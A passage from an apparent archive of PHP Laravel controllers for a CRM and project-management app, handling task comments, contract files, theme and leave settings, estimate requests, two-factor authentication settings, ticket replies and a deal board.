user()->permission('edit_task_comments'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && ($this->comment->added_by == user()->id || $this->comment->added_by == $userId || in_array($this->comment->added_by, $this->clientIds))))); return view('tasks.comments.edit', $this->data); } public function update(StoreTaskComment $request, $id) { $comment = TaskComment::findOrFail($id); $this->editPermission = user()->permission('edit_task_comments'); $this->userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $this->userId)->pluck('client_id')->toArray(); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && ($comment->added_by == user()->id || $comment->added_by == $this->userId || in_array($comment->added_by, $this->clientIds))))); $comment->comment = $request->comment; $comment->save(); $this->comments = TaskComment::with('user', 'task', 'like', 'dislike', 'likeUsers', 'dislikeUsers')->where('task_id', $comment->task_id)->orderByDesc('id')->get(); $view = view('tasks.comments.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } public function saveCommentLike(Request $request) { $currentEmoji = TaskCommentEmoji::where('comment_id', $request->commentId)->where('user_id', user()->id)->first(); if(!is_null($currentEmoji)){ if($currentEmoji->emoji_name != $request->emojiName) { $currentEmoji->delete(); $this->emoji($request); } else { $currentEmoji->delete(); } } else { $this->emoji($request); } $this->comment = TaskComment::with('user', 'like', 'dislike', 'likeUsers', 'dislikeUsers')->find($request->commentId); $likeUsers = $this->comment->likeUsers->pluck('name')->toArray(); $likeUserList = ''; if($likeUsers) { if(in_array(user()->name, $likeUsers)){ $key = array_search(user()->name, $likeUsers); array_splice( $likeUsers, 0, 0, __('modules.tasks.you') ); unset($likeUsers[$key + 1]); } $likeUserList = implode(', ', $likeUsers); $this->allLikeUsers = $likeUserList; } $dislikeUsers = $this->comment->dislikeUsers->pluck('name')->toArray(); $dislikeUserList = ''; if($dislikeUsers) { if(in_array(user()->name, $dislikeUsers)){ $key = array_search (user()->name, $dislikeUsers); array_splice( $dislikeUsers, 0, 0, __('modules.tasks.you') ); unset($dislikeUsers[$key + 1]); } $dislikeUserList = implode(', ', $dislikeUsers); $this->allDislikeUsers = $dislikeUserList; } $view = view('tasks.comments.comment-emoji', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } public function emoji($request) { $newEmoji = new TaskCommentEmoji(); $newEmoji->user_id = user()->id; $newEmoji->comment_id = $request->commentId; $newEmoji->emoji_name = $request->emojiName; $newEmoji->save(); } } Http/Controllers/ContractFileController.php000064400000005574150325104510015132 0ustar00pageTitle = 'app.file'; } /** * @param Request $request * @return mixed|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(Request $request) { $this->addPermission = user()->permission('add_contract_files'); abort_403(!in_array($this->addPermission, ['all', 'added'])); if ($request->hasFile('file')) { foreach ($request->file as $fileData) { $file = new ContractFile(); $file->contract_id = $request->contract_id; $filename = Files::uploadLocalOrS3($fileData, ContractFile::FILE_PATH . '/' . $request->contract_id); $file->user_id = $this->user->id; $file->filename = $fileData->getClientOriginalName(); $file->hashname = $filename; $file->size = $fileData->getSize(); $file->save(); } $this->files = ContractFile::where('contract_id', $request->contract_id)->orderByDesc('id')->get(); $view = view('contracts.files.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } } /** * @param Request $request * @param int $id * @return array|void */ public function destroy(Request $request, $id) { $file = ContractFile::findOrFail($id); $this->deletePermission = user()->permission('delete_contract_files'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $file->added_by == user()->id))); Files::deleteFile($file->hashname, ContractFile::FILE_PATH . '/' . $file->contract_id); ContractFile::destroy($id); $this->files = ContractFile::where('contract_id', $file->contract_id)->orderByDesc('id')->get(); $view = view('contracts.files.show', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view]); } /** * @param int $id * @return \Symfony\Component\HttpFoundation\BinaryFileResponse|\Symfony\Component\HttpFoundation\StreamedResponse */ public function download($id) { $file = ContractFile::whereRaw('md5(id) = ?', $id)->firstOrFail(); $this->viewPermission = user()->permission('view_contract_files'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'added' && $file->added_by == user()->id))); return download_local_s3($file, ContractFile::FILE_PATH . '/' . $file->contract_id . '/' . $file->hashname); } } Http/Controllers/TicketCustomFormController.php000064400000002527150325104510016012 0ustar00pageTitle = 'modules.ticketForm'; $this->middleware(function ($request, $next) { if (!in_array('tickets', $this->user->modules)) { abort(403); } return $next($request); }); } public function index() { $this->ticketFormFields = TicketCustomForm::get(); return view('tickets.ticket-form.index', $this->data); } /** * update record * * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { TicketCustomForm::where('id', $id)->update([ 'status' => $request->status ]); return Reply::dataOnly([]); } /** * sort fields order * * @return \Illuminate\Http\Response */ public function sortFields() { $sortedValues = request('sortedValues'); foreach ($sortedValues as $key => $value) { TicketCustomForm::where('id', $value)->update(['field_order' => $key + 1]); } return Reply::dataOnly([]); } } Http/Controllers/ThemeSettingController.php000064400000010514150325104510015143 0ustar00pageTitle = 'app.menu.themeSettings'; $this->activeSettingMenu = 'theme_settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_theme_setting') !== 'all'); return $next($request); }); } public function index() { $themeSetting = ThemeSetting::get(); // Get theme from single database query and then grouby panel as key $themes = $themeSetting->groupBy('panel'); $this->adminTheme = $themes['admin'][0]; $this->projectAdminTheme = $themes['project_admin'][0]; $this->employeeTheme = $themes['employee'][0]; $this->clientTheme = $themes['client'][0]; return view('theme-settings.index', $this->data); } /** * @param UpdateThemeSetting $request * @return array */ public function store(UpdateThemeSetting $request) { $setting = $this->company; $adminTheme = ThemeSetting::where('panel', 'admin')->first(); $this->themeUpdate($adminTheme, $request->theme_settings[1], $request->primary_color[0]); $employeeTheme = ThemeSetting::where('panel', 'employee')->first(); $this->themeUpdate($employeeTheme, $request->theme_settings[3], $request->primary_color[1]); $clientTheme = ThemeSetting::where('panel', 'client')->first(); $this->themeUpdate($clientTheme, $request->theme_settings[4], $request->primary_color[2]); $setting->logo_background_color = $request->logo_background_color; $setting->auth_theme = $request->auth_theme; $setting->auth_theme_text = $request->auth_theme_text; $setting->app_name = $request->app_name; $setting->header_color = $request->global_header_color; if ($request->logo_delete == 'yes') { Files::deleteFile($setting->logo, GlobalSetting::APP_LOGO_PATH); $setting->logo = null; } if ($request->hasFile('logo')) { Files::deleteFile($setting->logo, GlobalSetting::APP_LOGO_PATH); $setting->logo = Files::uploadLocalOrS3($request->logo, GlobalSetting::APP_LOGO_PATH, width: 400); } if ($request->light_logo_delete == 'yes') { Files::deleteFile($setting->light_logo, GlobalSetting::APP_LOGO_PATH); $setting->light_logo = null; } if ($request->hasFile('light_logo')) { Files::deleteFile($setting->light_logo, GlobalSetting::APP_LOGO_PATH); $setting->light_logo = Files::uploadLocalOrS3($request->light_logo, GlobalSetting::APP_LOGO_PATH, width: 400); } if ($request->login_background_delete == 'yes') { Files::deleteFile($setting->login_background, 'login-background'); $setting->login_background = null; } if ($request->hasFile('login_background')) { Files::deleteFile($setting->login_background, 'login-background'); $setting->login_background = Files::uploadLocalOrS3($request->login_background, 'login-background'); } if ($request->favicon_delete == 'yes') { Files::deleteFile($setting->favicon, 'favicon'); $setting->favicon = null; } if ($request->hasFile('favicon')) { $setting->favicon = Files::uploadLocalOrS3($request->favicon, 'favicon', width: 50); } $setting->sidebar_logo_style = $request->sidebar_logo_style; $setting->save(); session()->forget(['admin_theme', 'employee_theme', 'client_theme', 'company', 'companyOrGlobalSetting', 'user.company']); cache()->forget('global_setting'); return Reply::redirect(route('theme-settings.index'), __('messages.updateSuccess')); } private function themeUpdate($updateObject, $themeSetting, $primaryColor) { $updateObject->header_color = $primaryColor; $updateObject->sidebar_theme = $themeSetting['sidebar_theme']; $updateObject->save(); session()->forget(['admin_theme', 'employee_theme', 'client_theme']); } } Http/Controllers/LeaveSettingController.php000064400000004741150325104510015142 0ustar00pageTitle = 'app.menu.leaveTypeSettings'; $this->activeSettingMenu = 'leave_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_leave_setting') == 'all' && in_array('leaves', user_modules()))); return $next($request); }); } public function index() { $this->leaveTypes = LeaveType::withCount('leaves')->get(); $tab = request('tab'); switch ($tab) { case 'general': $this->leavePermission = LeaveSetting::first(); $this->view = 'leave-settings.ajax.general'; break; case 'archive': $this->archiveleaveTypes = LeaveType::onlyTrashed()->get(); $this->departments = Team::all(); $this->designations = Designation::all(); $this->view = 'leave-settings.ajax.archive'; break; default: $this->departments = Team::all(); $this->designations = Designation::all(); $this->view = 'leave-settings.ajax.type'; break; } $this->activeTab = $tab ?: 'type'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('leave-settings.index', $this->data); } public function store(Request $request) { $setting = company(); $setting->leaves_start_from = $request->leaveCountFrom; $setting->year_starts_from = $request->yearStartFrom; $setting->save(); Artisan::call('app:recalculate-leaves-quotas ' . $setting->id); return Reply::success(__('messages.updateSuccess')); } public function changePermission(Request $request) { $permission = LeaveSetting::findOrFail($request->id); $permission->manager_permission = $request->value; $permission->update(); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/LeadStatusSettingController.php000064400000010141150325104510016146 0ustar00middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); return $next($request); }); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function create() { return view('lead-settings.create-status-modal', $this->data); } /** * @param StoreLeadStatus $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreLeadStatus $request) { $maxPriority = LeadStatus::max('priority'); $status = new LeadStatus(); $status->type = $request->type; $status->label_color = $request->label_color; $status->priority = ($maxPriority + 1); $status->save(); return Reply::success(__('messages.recordSaved')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->status = LeadStatus::findOrFail($id); $this->maxPriority = LeadStatus::max('priority'); return view('lead-settings.edit-status-modal', $this->data); } /** * @param UpdateLeadStatus $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateLeadStatus $request, $id) { $type = LeadStatus::findOrFail($id); $oldPosition = $type->priority; $newPosition = $request->priority; if ($oldPosition < $newPosition) { LeadStatus::where('priority', '>', $oldPosition) ->where('priority', '<=', $newPosition) ->orderBy('priority', 'asc') ->decrement('priority'); } else if ($oldPosition > $newPosition) { LeadStatus::where('priority', '<', $oldPosition) ->where('priority', '>=', $newPosition) ->orderBy('priority', 'asc') ->increment('priority'); } $type->type = $request->type; $type->label_color = $request->label_color; $type->priority = $request->priority; $type->save(); return Reply::success(__('messages.updateSuccess')); } public function statusUpdate($id) { $allLeadStatus = LeadStatus::select('id', 'default')->get(); foreach($allLeadStatus as $leadStatus){ if($leadStatus->id == $id){ $leadStatus->default = '1'; } else{ $leadStatus->default = '0'; } $leadStatus->save(); } return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $defaultLeadStatus = LeadStatus::where('default', 1)->first(); Lead::where('status_id', $id)->update(['status_id' => $defaultLeadStatus->id]); $board = LeadStatus::findOrFail($id); $otherColumns = LeadStatus::where('priority', '>', $board->priority) ->orderBy('priority', 'asc') ->get(); foreach ($otherColumns as $column) { $pos = LeadStatus::where('priority', $column->priority)->first(); $pos->priority = ($pos->priority - 1); $pos->save(); } UserLeadboardSetting::where('board_column_id', $id)->delete(); LeadStatus::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/EstimateRequestController.php000064400000027045150325104510015676 0ustar00pageTitle = 'modules.estimateRequest.estimateRequests'; $this->pageIcon = 'ti-file'; $this->middleware(function ($request, $next) { abort_403(!in_array('estimates', $this->user->modules)); return $next($request); }); } /** * Display a listing of the resource. */ public function index(EstimateRequestDataTable $dataTable) { abort_403(!in_array(user()->permission('view_estimate_request'), ['all', 'added', 'owned', 'both'])); $this->clients = User::allClients(active:false); return $dataTable->render('estimate-requests.index', $this->data); } /** * Show the form for creating a new resource. */ public function create() { $this->addPermission = user()->permission('add_estimate_request'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->pageTitle = __('modules.estimateRequest.createEstimateRequest'); $this->userId = UserService::getUserId(); $this->projects = Project::where('client_id', $this->userId)->get(); $this->clients = User::allClients(); $this->currencies = Currency::all(); $this->view = 'estimate-requests.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('estimate-requests.create', $this->data); } /** * Store a newly created resource in storage. */ public function store(StoreEstimateRequest $request) { $lastEstimate = EstimateRequest::lastRequestNumber() + 1; $invoiceSetting = invoice_setting(); $zero = str_repeat('0', $invoiceSetting->estimate_request_digit - strlen($lastEstimate)); $originalNumber = $zero . $lastEstimate; $requestNumber = $invoiceSetting->estimate_request_prefix . $invoiceSetting->estimate_request_number_separator . $zero . $lastEstimate; $estimateRequest = new EstimateRequest(); $estimateRequest->client_id = $request->client_id; $estimateRequest->company_id = user()->company_id; $estimateRequest->description = trim_editor($request->description); $estimateRequest->estimated_budget = round($request->estimated_budget, 2); $estimateRequest->project_id = $request->project_id; $estimateRequest->early_requirement = $request->early_requirement; $estimateRequest->currency_id = $request->currency_id; $estimateRequest->status = 'pending'; $estimateRequest->original_request_number = $originalNumber; $estimateRequest->estimate_request_number = $requestNumber; $estimateRequest->added_by = user()->id; $estimateRequest->save(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('estimate-request.index'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } /** * Display the specified resource. */ public function show(string $id) { $this->estimateRequest = EstimateRequest::findOrFail($id); $this->viewPermission = user()->permission('view_estimate_request'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->estimateRequest->added_by == user()->id) || ($this->viewPermission == 'owned' && $this->estimateRequest->client_id == user()->id) || ($this->viewPermission == 'both' && ($this->estimateRequest->client_id == user()->id || $this->estimateRequest->added_by == user()->id)) )); $this->pageTitle = __('modules.estimateRequest.estimateRequest'); $this->estimateLink = $this->estimateRequest->estimate ? '

' . $this->estimateRequest->estimate->estimate_number . '

' : '--'; $this->deleteEstimateRequestPermission = user()->permission('delete_estimate_request'); $this->editEstimateRequestPermission = user()->permission('edit_estimate_request'); $this->addEstimatePermission = user()->permission('add_estimates'); $this->rejectEstimateRequestPermission = user()->permission('reject_estimate_request'); $this->view = 'estimate-requests.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('estimate-requests.create', $this->data); } /** * Show the form for editing the specified resource. */ public function edit($id) { $this->estimateRequest = EstimateRequest::findOrFail($id); $this->editPermission = user()->permission('edit_estimate_request'); $userId = UserService::getUserId(); $clientIds = ClientContact::where('user_id', $userId)->pluck('client_id')->toArray(); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && ($this->estimateRequest->added_by == user()->id || $this->estimateRequest->added_by == $userId || in_array($this->estimateRequest->added_by, $clientIds))) || ($this->editPermission == 'owned' && $this->estimateRequest->client_id == $userId) || ($this->editPermission == 'both' && ($this->estimateRequest->added_by == user()->id || $this->estimateRequest->client_id == $userId || $this->estimateRequest->added_by == $userId || in_array($this->estimateRequest->added_by, $clientIds))) )); $this->pageTitle = __('modules.estimateRequest.editEstimateRequest'); $this->projects = Project::where('client_id', $this->estimateRequest->client_id)->get(); $this->clients = User::allClients(); $this->currencies = Currency::all(); $this->view = 'estimate-requests.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('estimate-requests.create', $this->data); } /** * Update the specified resource in storage. */ public function update(StoreEstimateRequest $request, string $id) { $estimateRequest = EstimateRequest::findOrFail($id); $estimateRequest->client_id = $request->client_id; $estimateRequest->description = trim_editor($request->description); $estimateRequest->estimated_budget = round($request->estimated_budget, 2); $estimateRequest->project_id = $request->project_id; $estimateRequest->early_requirement = $request->early_requirement; $estimateRequest->currency_id = $request->currency_id; $estimateRequest->status = 'pending'; $estimateRequest->save(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('estimate-request.index'); } return Reply::successWithData( __('messages.updateSuccess'), ['redirectUrl' => $redirectUrl]); } /** * Remove the specified resource from storage. */ public function destroy(string $id) { $estimateRequest = EstimateRequest::findOrFail($id); $this->deletePermission = user()->permission('delete_estimate_request'); $userId = UserService::getUserId(); $clientIds = ClientContact::where('user_id', $userId)->pluck('client_id')->toArray(); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && ($estimateRequest->added_by == user()->id || $estimateRequest->added_by == $userId || in_array($estimateRequest->added_by, $clientIds))) || ($this->deletePermission == 'owned' && $estimateRequest->client_id == $userId) || ($this->deletePermission == 'both' && ($estimateRequest->added_by == user()->id || $estimateRequest->client_id == $userId || $estimateRequest->added_by == $userId || in_array($estimateRequest->added_by, $clientIds))) )); $estimateRequest->delete(); return Reply::success(__('messages.deleteSuccess')); } public function applyQuickAction(Request $request) { if ($request->action_type == 'delete') { /* $this->deleteRecords($request); */ return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.selectAction')); } public function changeStatus (UpdateEstimateRequestStatus $request) { $estimateRequest = EstimateRequest::findOrFail($request->id); if ($request->status == 'rejected') { $estimateRequest->update(['status' => 'rejected', 'reason' => $request->reason]); } else { $estimateRequest->update(['status' => $request->status]); } return Reply::success(__('messages.updateSuccess')); } public function rejectConfirmation($id) { $this->estimateRequest = EstimateRequest::findOrFail($id); $this->pageTitle = __('modules.estimateRequest.confirmReject'); return view('estimate-requests.ajax.confirm-reject', $this->data); } public function sendEstimateRequest() { $this->pageTitle = __('modules.estimateRequest.sendEstimateRequest'); $this->clients = User::allClients()->whereNotNull('email'); return view('estimate-requests.ajax.send-request', $this->data); } public function sendEstimateMail(Request $request) { if ($request->client_id == '') { return Reply::error(__('validation.required', ['attribute' => 'client'])); } $client = User::findOrFail($request->client_id); if (isset($client->email)){ Notification::send($client, new EstimateRequestInvite($client)); return Reply::success(__('messages.inviteEmailSuccess')); } } /* public function createEstiamte($id) { $estimateRequest = EstimateRequest::findOrFail($id); $this->lastEstimate = Estimate::lastEstimateNumber() + 1; $estimate = new Estimate(); $estimate->client_id = $estimateRequest->client_id; $estimate->company_id = $estimateRequest->company_id; $estimate->description = trim_editor($estimateRequest->description); $estimate->total = $estimateRequest->estimated_budget; $estimate->valid_till = now()->addDays(30)->format('Y-m-d'); $estimate->status = 'waiting'; $estimate->estimate_number = $this->lastEstimate; $estimate->currency_id = $estimateRequest->currency_id; $estimate->save(); $estimateRequest->update(['status' => 'accepted', 'estimate_id' => $estimate->id]); $this->logSearchEntry($estimate->id, $estimate->estimate_number, 'estimates.show', 'estimate'); $redirectUrl = route('estimates.index'); return Reply::successWithData(__('messages.recordSaved'), ['estimateId' => $estimate->id, 'redirectUrl' => $redirectUrl]); } */ } Http/Controllers/TwoFASettingController.php000064400000010200150325104510015051 0ustar00pageTitle = 'app.menu.twoFactorAuthentication'; $this->activeSettingMenu = '2fa_settings'; } public function verify() { $this->method = request()->method; $this->status = request()->status; return view('auth.password-confirm-modal', $this->data); } //phpcs:ignore public function update(Request $request, $id) { $user = auth()->user(); $method = $request->method; $twoFaVerifyVia = $method; $status = $request->status; $currentMethod = $user->two_fa_verify_via; if ($currentMethod == $method && $status == 'disable') { $twoFaVerifyVia = null; } elseif ($currentMethod == 'both') { if ($method == 'email' && $status == 'disable') { $twoFaVerifyVia = 'google_authenticator'; } elseif ($method == 'google_authenticator' && $status == 'disable') { $twoFaVerifyVia = 'email'; } } elseif ($currentMethod != $method && !is_null($currentMethod) && $status == 'enable') { $twoFaVerifyVia = 'both'; } $user->two_fa_verify_via = $twoFaVerifyVia; if ($twoFaVerifyVia == 'email' || is_null($twoFaVerifyVia)) { $user->two_factor_secret = null; $user->two_factor_recovery_codes = null; $user->two_factor_confirmed = 0; } $user->save(); session()->forget('user'); return Reply::success(__('messages.updateSuccess')); } public function download() { // Prepare content $codes = json_decode(decrypt(auth()->user()->two_factor_recovery_codes)); $content = ''; foreach ($codes as $code) { $content .= $code; $content .= "\n"; } // File name that will be used in the download $fileName = 'codes.txt'; $headers = ['Content-type' => 'text/plain', 'Content-Disposition' => sprintf('attachment; filename="%s"', $fileName),'Content-Length' => strlen($content)]; return Response::make($content, 200, $headers); } public function showConfirm() { return view('security-settings.ajax.validate-confirm-modal', $this->data); } public function confirm(TwoFaCodeValidation $request) { $confirmed = $request->user()->confirmTwoFactorAuth($request->code); if (!$confirmed) { return Reply::error(__('messages.invalid2FaCode')); } return Reply::success(__('messages.updateSuccess')); } public function showEmailConfirm() { $checkUser = auth()->user(); $checkUser->generateTwoFactorCode(); event(new TwoFactorCodeEvent($checkUser)); return view('security-settings.ajax.validate-email-confirm-modal', $this->data); } public function emailConfirm(TwoFaCodeValidation $request) { $user = auth()->user(); if ($user->two_factor_code != $request->code || $user->two_factor_expires_at->isPast()) { return Reply::error(__('messages.invalid2FaCode')); } $currentMethod = $user->two_fa_verify_via; if ($currentMethod == 'google_authenticator') { $twoFaVerifyVia = 'both'; } else { $twoFaVerifyVia = 'email'; } if ($twoFaVerifyVia == 'email' || is_null($twoFaVerifyVia)) { $user->two_factor_secret = null; $user->two_factor_recovery_codes = null; $user->two_factor_confirmed = 0; } $user->two_fa_verify_via = $twoFaVerifyVia; $user->two_factor_email_confirmed = 1; $user->two_factor_code = null; $user->two_factor_expires_at = null; $user->save(); session()->forget('user'); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/TicketReplyController.php000064400000003212150325104510014777 0ustar00pageTitle = 'app.menu.tickets'; $this->middleware(function ($request, $next) { abort_403(!in_array('tickets', $this->user->modules)); return $next($request); }); } public function destroy($id) { $ticketReply = TicketReply::findOrFail($id); $this->deletePermission = user()->permission('delete_tickets'); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && user()->id == $ticketReply->user_id) || ($this->deletePermission == 'owned' && (user()->id == $ticketReply->agent_id || user()->id == $ticketReply->user_id)) || ($this->deletePermission == 'both' && (user()->id == $ticketReply->agent_id || user()->id == $ticketReply->added_by || user()->id == $ticketReply->user_id)) )); $ticketFiles = TicketFile::where('ticket_reply_id', $id)->get(); foreach ($ticketFiles as $file) { $file->delete(); } TicketReply::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function editNote() { $ticketMessage = TicketReply::findOrFail(request()->id); $ticketMessage->update(['message' => request()->editedMessage]); return Reply::success(__('messages.noteAddedSuccess')); } } Http/Controllers/LeadBoardController.php000064400000056012150325104510014363 0ustar00pageTitle = 'app.deal'; $this->middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index(Request $request) { $this->viewLeadPermission = $viewPermission = user()->permission('view_deals'); $this->viewLeadAgentPermission = user()->permission('view_lead_agents'); $this->viewEmployeePermission = user()->permission('view_employees'); $this->viewDealLeadPermission = user()->permission('view_lead'); $this->products = Product::all(); abort_403(!in_array($viewPermission, ['all', 'added', 'both', 'owned'])); $this->categories = LeadCategory::get(); $this->sources = LeadSource::get(); $this->pipelines = LeadPipeline::has('stages')->get(); $this->dealWatcher = User::allEmployees(null, 'active'); $this->dealWatcher->where(function ($query) { if ($this->viewEmployeePermission == 'added') { $query->where('employee_details.added_by', user()->id); } elseif ($this->viewEmployeePermission == 'owned') { $query->where('employee_details.user_id', user()->id); } elseif ($this->viewEmployeePermission == 'both') { $query->where(function ($q) { $q->where('employee_details.user_id', user()->id) ->orWhere('employee_details.added_by', user()->id); }); } }); $this->dealLeads = Lead::select('id', 'client_name')->get(); $this->defaultPipeline = $this->pipelines->filter(function ($value, $key) { return $value->default == 1; })->first(); $this->stages = PipelineStage::where('lead_pipeline_id', $this->defaultPipeline->id)->get(); $this->startDate = now()->subDays(15)->format($this->company->date_format); $this->endDate = now()->addDays(15)->format($this->company->date_format); $this->leadAgents = LeadAgent::with('user')->whereHas('user', function ($q) { $q->where('status', 'active'); })->groupBy('user_id'); if ($this->viewLeadAgentPermission != 'all') { $this->leadAgents = $this->leadAgents->where('user_id', user()->id); } $this->leadAgents = $this->leadAgents->get(); $this->myAgentId = LeadAgent::where('user_id', user()->id)->pluck('id')->toArray(); $this->viewStageFilter = false; if (request()->ajax()) { $this->pipelineId = ($request->pipeline) ? $request->pipeline : $this->defaultPipeline->id; $startDate = ($request->startDate != 'null') ? companyToDateString($request->startDate) : null; $endDate = ($request->endDate != 'null') ? companyToDateString($request->endDate) : null; $this->boardEdit = (request()->has('boardEdit') && request('boardEdit') == 'false') ? false : true; $this->boardDelete = (request()->has('boardDelete') && request('boardDelete') == 'false') ? false : true; $boardColumns = PipelineStage::withCount(['deals as deals_count' => function ($q) use ($startDate, $endDate, $request) { $this->dateFilter($q, $startDate, $endDate, $request); $q->leftJoin('leads as lead1', 'lead1.id', 'deals.lead_id'); if ($request->product != 'all' && $request->product != '') { $q->leftJoin('lead_products', 'lead_products.deal_id', '=', 'deals.id') ->where('lead_products.product_id', $request->product); } if ($request->pipeline != 'all' && $request->pipeline != '') { $q->where('deals.lead_pipeline_id', $request->pipeline); } if ($request->deal_watcher_id !== null && $request->deal_watcher_id != 'all' && $request->deal_watcher_id != '') { $q = $q->where('deals.deal_watcher', $request->deal_watcher_id); } if ($request->lead_agent_id !== null && $request->lead_agent_id != 'null' && $request->lead_agent_id != '' && $request->lead_agent_id != 'all') { $q = $q->where('deals.lead_id', $request->lead_agent_id); } if ($request->category_id !== null && $request->category_id != 'null' && $request->category_id != '' && $request->category_id != 'all') { $q = $q->where('deals.category_id', $request->category_id); } if ($request->searchText != '') { $q->leftJoin('leads', 'leads.id', 'deals.lead_id'); $q->where(function ($query) { $query->where('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.client_email', 'like', '%' . request('searchText') . '%') ->orWhere('leads.company_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.mobile', 'like', '%' . request('searchText') . '%'); }); } if (($request->agent != 'all' && $request->agent != 'undefined' && $request->agent != '') || $this->viewLeadPermission == 'added') { $q->where(function ($query) use ($request) { if ($request->agent != 'all' && $request->agent != '') { $query->whereHas('leadAgent', function ($q) use ($request) { $q->where('user_id', $request->agent); }); } if ($this->viewLeadPermission == 'added') { $query->where('deals.added_by', user()->id); } }); } if ($this->viewLeadPermission == 'owned') { $q->where(function ($query) { if (!empty($this->myAgentId)) { $query->whereIn('agent_id', $this->myAgentId); } }); $q->orWhere('deals.deal_watcher', user()->id); } if ($this->viewLeadPermission == 'both') { $q->where(function ($query) { if (!empty($this->myAgentId)) { $query->whereIn('agent_id', $this->myAgentId); } $query->orWhere('deals.added_by', user()->id)->orWhere('deals.deal_watcher', user()->id); }); } $q->select(DB::raw('count(distinct deals.id)')); }]) ->with(['deals' => function ($q) use ($startDate, $endDate, $request) { $q->with(['leadAgent', 'leadAgent.user', 'currency']) ->leftJoin('leads', 'leads.id', 'deals.lead_id') ->groupBy('deals.id'); if (($request->agent != 'all' && $request->agent != '' && $request->agent != 'undefined') || $this->viewLeadPermission == 'added') { $q->where(function ($query) use ($request) { if ($request->agent != 'all' && $request->agent != '') { $query->whereHas('leadAgent', function ($q) use ($request) { $q->where('user_id', $request->agent); }); } if ($this->viewLeadPermission == 'added') { $query->where('deals.added_by', user()->id); } }); } if ($this->viewLeadPermission == 'owned') { $q->where(function ($query) { if (!empty($this->myAgentId)) { $query->whereIn('agent_id', $this->myAgentId); } $query->orWhere('deals.deal_watcher', user()->id); }); } if ($this->viewLeadPermission == 'both') { $q->where(function ($query) { if (!empty($this->myAgentId)) { $query->whereIn('agent_id', $this->myAgentId); } $query->orWhere('deals.added_by', user()->id) ->orWhere('deals.deal_watcher', user()->id); }); } $this->dateFilter($q, $startDate, $endDate, $request); if ($request->min == 'undefined' && $request->max == 'undefined' && (!is_null($request->min) || !is_null($request->max))) { $q->whereBetween('deals.value', [$request->min, $request->max]); } if ($request->product != 'all' && $request->product != '') { $q->leftJoin('lead_products', 'lead_products.deal_id', '=', 'deals.id') ->where('lead_products.product_id', $request->product); } if ($this->pipelineId != 'all' && $this->pipelineId != '' && $this->pipelineId != null) { $q->where('deals.lead_pipeline_id', $this->pipelineId); } if ($request->deal_watcher_id !== null && $request->deal_watcher_id != 'all' && $request->deal_watcher_id != '') { $q = $q->where('deals.deal_watcher', $request->deal_watcher_id); } if ($request->lead_agent_id !== null && $request->lead_agent_id != 'null' && $request->lead_agent_id != '' && $request->lead_agent_id != 'all') { $q = $q->where('deals.lead_id', $request->lead_agent_id); } if ($request->category_id !== null && $request->category_id != 'null' && $request->category_id != '' && $request->category_id != 'all') { $q = $q->where('deals.category_id', $request->category_id); } if ($request->searchText != '') { $q->where(function ($query) { $query->where('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.client_email', 'like', '%' . request('searchText') . '%') ->orWhere('leads.company_name', 'like', '%' . request('searchText') . '%') ->orWhere('leads.mobile', 'like', '%' . request('searchText') . '%'); }); } }])->where(function ($query) use ($request) { if ($request->status_id != 'all' && $request->status_id != '' && $request->status_id != 'undefined') { $query->where('id', $request->status_id); } }); if ($request->pipeline != 'all' && $request->pipeline != '') { $boardColumns->where('lead_pipeline_id', $request->pipeline); } $boardColumns = $boardColumns->with('userSetting')->orderBy('priority', 'asc')->get(); $result = array(); foreach ($boardColumns as $key => $boardColumn) { 